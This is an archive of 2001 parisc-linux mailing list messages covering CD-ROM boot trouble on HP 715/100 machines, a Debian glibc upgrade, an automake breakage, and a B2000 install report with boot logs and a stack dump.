Original-Received: by FIS0008 with Internet Mail Service (5.5.2653.19)
	id <4X984BMQ>; Thu, 18 Oct 2001 13:07:12 +0300
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12706

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C157BB.BA225E80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

* BOOTING FROM CD-ROM *
=20
Any ideas?
We have tried on two different 715/100 machines. Same thing happens.=20
(Booted OK on a B132L)
=20
We also tried upgrading the firmware to 1.6, did not help either...
=20
=20
Frode
=20
=20
______W=E4rtsil=E4 Norway___________________________
5420 RUBBESTADNESET, NORWAY
=20
______Frode Marton Meling________________________
System Consultant            =20
Direct     +47 53422581
                Fax          +47 53422501
                E-mail     Frode.Meling@wartsila.com
______________________________________________
=20

------_=_NextPart_001_01C157BB.BA225E80
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:st1=3D"urn:schemas-microsoft-com:office:smarttags" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C157CD.0EEBEF60">
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"place"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"country-region"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"City"/>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:HyphenationZone>21</w:HyphenationZone>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]--><!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:70.85pt 70.85pt 70.85pt 70.85pt;
	mso-header-margin:35.4pt;
	mso-footer-margin:35.4pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DNO-BOK link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:35.4pt'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>* BOOTING FROM CD-ROM *<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Any ideas?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>We have tried on two
different 715/100 machines. Same thing happens. =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>(Booted OK on a =
B132L)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></spa=
n></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>We also tried =
upgrading the
firmware to 1.6, did not help either...<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></spa=
n></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></spa=
n></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>Frode<o:p></o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></spa=
n></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></spa=
n></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Times New Roman"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'>____=
__W=E4rtsil=E4
Norway___________________________<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Times New Roman"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'>5420=
 </span></font><st1:place><st1:City><font
  size=3D2><span lang=3DEN-GB =
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;
  mso-no-proof:yes'>RUBBESTADNESET</span></font></st1:City><font =
size=3D2><span
 lang=3DEN-GB =
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'>,
 </span></font><st1:country-region><font size=3D2><span lang=3DEN-GB
  =
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'>NORW=
AY</span></font></st1:country-region></st1:place><font
size=3D2><span lang=3DEN-GB =
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;
mso-no-proof:yes'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Times New Roman"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'><o:p=
>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Times New Roman"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'>____=
__Frode
Marton Meling________________________<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Times New Roman"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'>Syst=
em Consultant<span
style=3D'mso-tab-count:1'>=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 =
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-indent:35.4pt'><font size=3D2
face=3D"Times New Roman"><span lang=3DEN-GB =
style=3D'font-size:10.0pt;mso-ansi-language:
EN-GB;mso-no-proof:yes'>Direct<span =
style=3D'mso-tab-count:1'>=A0=A0=A0=A0 </span>+47
53422581<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Times New Roman"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'><spa=
n
style=3D'mso-tab-count:1'>=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 =
</span>Fax<span style=3D'mso-tab-count:
1'>=A0=A0=A0=A0=A0=A0=A0=A0=A0 </span>+47 =
53422501<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Times New Roman"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'><spa=
n
style=3D'mso-tab-count:1'>=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 =
</span>E-mail<span style=3D'mso-tab-count:
1'>=A0=A0=A0=A0 =
</span>Frode.Meling@wartsila.com<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Times New Roman"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;mso-ansi-language:EN-GB;mso-no-proof:yes'>____=
__________________________________________<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C157BB.BA225E80--




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc update
Date: Thu, 18 Oct 2001 10:44:29 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20011018104429.J8089@hp.is>
References: <20011017122313.C4123@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620644 28215 80.91.229.3 (22 Nov 2014 01:44:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 04:44:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09075482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 04:44:34 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f9IAiTM19331;
	Thu, 18 Oct 2001 10:44:29 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011017122313.C4123@tausq.org>; from randolph@tausq.org on Wed, Oct 17, 2001 at 12:23:13PM -0700
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12707

On Wed, Oct 17, 2001 at 12:23:13PM -0700, Randolph Chung wrote:
> glibc 2.2.4-3 has been uploaded to Debian's incoming direction and
> should be installed in today's archive run.
> 
> it was lightly tested by lamont and myself before upload... please do
> report any problems you find.

I did an apt-get update and apt-get upgrade and recived all the new packages on
my C360.   I then compiled todays kernel on my machine.

bofh:~# dpkg --list | grep -i libc6
ii  libc6          2.2.4-3        GNU C Library: Shared libraries and Timezone
ii  libc6-dev      2.2.4-3        GNU C Library: Development Libraries and Hea
bofh:~# uname -a
Linux bofh 2.4.9-pa57 #1 Thu Oct 18 10:12:28 UTC 2001 parisc unknown

All went well and my box seems to be functioning perfectly. :-)

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian package automake broken ?
Date: Thu, 18 Oct 2001 12:56:54 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20011018125654.Q8089@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620645 28220 80.91.229.3 (22 Nov 2014 01:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 06:56:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0428482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 06:56:55 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f9ICusJ20021
	for parisc-linux@lists.parisc-linux.org; Thu, 18 Oct 2001 12:56:54 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12708

After upgrading lots of packages on my C360 (including automake) I 
get the following errors when compiling things:

config.status: creating xa_ext.h
config.status: creating db_config.h
+ make
cd . && aclocal
cd . && automake --foreign --include-deps Makefile
automake: configure.in: required file `./depcomp' not found
make: *** [Makefile.in] Error 1


This particular package always made it through configure but had
runtime issues I was hoping to blame the gcc toolchain og glibc 
for.   Now that we have new versions of both, this happens :)

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesus Climent <climent@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian package automake broken ?
Date: Thu, 18 Oct 2001 16:05:04 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <20011018160504.C7545@pumuki.ntc.nokia.com>
References: <20011018125654.Q8089@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620645 28222 80.91.229.3 (22 Nov 2014 01:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ext Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 07:06:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC83B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 07:06:33 -0600 (MDT)
Original-Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f9ID4jc09173
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 16:04:45 +0300 (EET DST)
Original-Received: from esebh12nok.ntc.nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T56acf91216ac158f2128b@esvir01nok.ntc.nokia.com>;
 Thu, 18 Oct 2001 16:06:31 +0300
Original-Received: from pumuki (pumuki.ntc.nokia.com [131.228.58.91]) by esebh12nok.ntc.nokia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78)
	id 4M5M8JYF; Thu, 18 Oct 2001 16:06:31 +0300
In-Reply-To: <20011018125654.Q8089@hp.is>; from ra@hp.is on Thu, Oct 18, 2001 at 15:56:54 +0300
X-Mailer: Balsa 1.2.0
Original-Lines: 21
Xref: news.gmane.org gmane.linux.ports.parisc:12709

On 2001.10.18 15:56 ext Richard Allen wrote:
> After upgrading lots of packages on my C360 (including automake) I 
> get the following errors when compiling things:
> 
> config.status: creating xa_ext.h
> config.status: creating db_config.h
> + make
> cd . && aclocal
> cd . && automake --foreign --include-deps Makefile
> automake: configure.in: required file `./depcomp' not found
> make: *** [Makefile.in] Error 1
> 
> 
> This particular package always made it through configure but had
> runtime issues I was hoping to blame the gcc toolchain og glibc 
> for.   Now that we have new versions of both, this happens :)

is automake. It is reported in Debian Weekly report. Automake 1.5 somehow breaks
things.

Jesse




From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc update
Date: Thu, 18 Oct 2001 15:10:58 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20011018151058.B25234@parcelfarce.linux.theplanet.co.uk>
References: <20011017122313.C4123@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620645 28227 80.91.229.3 (22 Nov 2014 01:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 08:11:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2146482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 08:11:00 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15uDsw-0007Z3-00; Thu, 18 Oct 2001 15:10:58 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011017122313.C4123@tausq.org>; from randolph@tausq.org on Wed, Oct 17, 2001 at 12:23:13PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12710

On Wed, Oct 17, 2001 at 12:23:13PM -0700, Randolph Chung wrote:
> 3. with the glibc build (using old binutils) some of the linuxthreads
> tests are failing. in particular there's one case where it seems to get
> into a deadlock. i left it running overnight and it's still stuck ... 
> i don't know if this has always been broken though.

That's right, some of the tests have always failed.  However, this was
better than the previous state where all tests failed, so I uploaded...

I have a list of tests which fail that I posted to parisc-linux some
time ago.  As far as I know, nobody fixed them.

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-May/012560.html

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More on the B2000
Date: Thu, 18 Oct 2001 14:24:59 +0000
Lines: 217
Approved: news@gmane.org
Message-ID: <20011018142459.S8089@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620646 28229 80.91.229.3 (22 Nov 2014 01:44:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 08:25:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 852FD482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 08:25:00 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f9IEOxY20656
	for parisc-linux@parisc-linux.org; Thu, 18 Oct 2001 14:24:59 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12711

I managed to install a B2000 from the 0.92 ISO.    The trick
is to connect a serial console, open the box and disconnect the
IDE cdrom drive, install a SCSI card and plug in a external
SCSI cdrom drive.    

cool:~# uname -a
Linux cool 2.4.0-32 #1 Thu Jun 28 11:49:00 BST 2001 parisc unknown
cool:~# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 400.000000
model           : 9000/785/B2000
model name      : Kazoo W+
hversion        : 0x00005d00
sversion        : 0x00000481
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
BTLB            : not supported
bogomips        : 799.53

Interesting things from dmesg:

Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Kazoo W+ (0) at 0xfffa0000, versions 0x5d0, 0x0, 0x4, 0x0, 0x81
5. Unknown device (1) at 0xfed10200, versions 0x9d, 0x0, 0x9, 0x0, 0x0
That's a total of 5 devices.



I attempted to compile todats kernel on the machine and I did it as
Im used to do (make oldconfig, make dep, make palo)

That kernel refuses to boot:


Firmware Version 5.0

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      400 MHz    Active                 Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              268435456 bytes
  Good memory required:           11108352 bytes

  Primary boot path:    SCSI.6.0
  Alternate boot path:  SCSI.5.0
  Console path:         SERIAL_1.9600.8.none
  Keyboard path:        USB

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Searching for device(s) with bootable media...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).

Attempting to boot Primary Path...

BOOTABLE DEVICE FOUND:
   Path Number        Device Path              Device Type and Utilities
   -----------        -----------------        -------------------------
   P0                 SCSI.6.0                 QUANTUM Atlas4-9LVD     
                                               IPL

Booting... 
Boot IO Dependent Code (IODC) revision 0


HARD Booted.
palo ipl 0.92 bame@c3k Wed Jun 20 11:49:11 MDT 2001
0/vmlinux32 2853588 bytes @ 0x44000
Partition Start(MB) End(MB) Id Type
1               1      15   f0 Palo
2              16     503   82 swap
3             504    8678   83 ext2

Command line: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102'

Kernel: partition 3 file /boot/vmlinux-2.4.9
ext2 block size 4096
ext2_mount(partition 3) returns 0
ext2_open(/boot/vmlinux-2.4.9) = 3
ELF32 executable
Entry 001000d0 first 00100000 n 6
Segment 0 load 00100000 size 1707984 mediaptr 0x1000
Segment 1 load 002a2000 size 281832 mediaptr 0x1a2000
Segment 2 load 002e8000 size 381932 mediaptr 0x1e7000
Segment 3 load 00348000 size 8192 mediaptr 0x245000
Segment 4 load 00350000 size 32768 mediaptr 0x247000
Segment 5 load 0038dc7c size 87936 mediaptr 0x24fc7c
branching to kernel entry point 0x001000d0
Set default PSW W bit to 0



Dumping Stack from 10348000 to 103487c0:
8000 00000000 00000000 00000000 00000000 102b5160 00000000 00000000 ffffffff
8020 0000000a 00000000 00000000 00000000 00000000 00000000 ffffffff 1034803c
8040 1034803c 00000000 10348000 10348000 102bb600 00000000 00000000 00000000
8060 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8080 00000000 10348000 10348000 00000000 00000000 00000000 10348098 10348098
80a0 00000000 00000000 103480a8 103480a8 00000000 00000000 00000000 00000000
80c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
80e0 1011a008 00000000 00000031 00000000 00000000 00000000 00000000 00000031
8100 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
81a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
81c0 fffffeff 00000000 ffffffff 00000000 102b6120 ffffffff ffffffff ffffffff
81e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff
8200 ffffffff 00000f8f 00000f8f 00000400 00000400 ffffffff ffffffff ffffffff
8220 ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000 00000000
8240 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
82a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
82c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
82e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8300 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8320 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8340 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8360 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
83a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
83c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
83e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8420 00000000 00000000 00000000 00000000 fff00000 40000000 00000000 00000000
8440 102bb040 102bb060 102bb1fc 00000000 00000000 00000000 10348454 00000000
8460 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
84a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
84c0 00000000 00000000 102a4490 00000000 002bc000 00000000 00000000 00000000
84e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8500 00000000 00000000 00000000 00000000 00001000 00000035 0000031f 10279410
8520 00000000 00000000 00000000 102e90d4 00000000 00000000 00000000 00000000
8540 00800327 0006e000 00000000 00000000 00000190 1027a684 00000001 10279bbc
8560 00000027 f0002f68 10350000 102e9fd8 102d2810 00800327 00000000 00000000
8580 f0002f68 10350000 0006e000 0000f8fd 00800327 102e8f94 0004000e f0072848
85a0 00000027 f0002f68 10350000 102eb074 0000f8fd 00800327 00800327 f0400004
85c0 0004000e f0072848 00000007 f0002f68 0000f8fd 1035d010 0000f8fd 00000005
85e0 00000027 f0002f68 10350000 1010a828 0000f8fd 00000005 f0002f68 10350000
8600 1035a010 00000000 102b2298 1035a290 fed00000 102b2254 1027b3bc 1027b3a0
8620 f0002f68 1035d7ba 1035d7b7 101101d8 0000001c 00001000 0000f8fd 55555555
8640 f0072848 00000027 1035a010 0c000000 1035a290 100b9000 00000009 f0072848
8660 00000027 1035a010 0c000000 1012e600 102b2298 00000009 1035a404 f0400004
8680 00000027 1035a010 0c000000 1035a290 000000f0 107a7600 0004000e f0072848
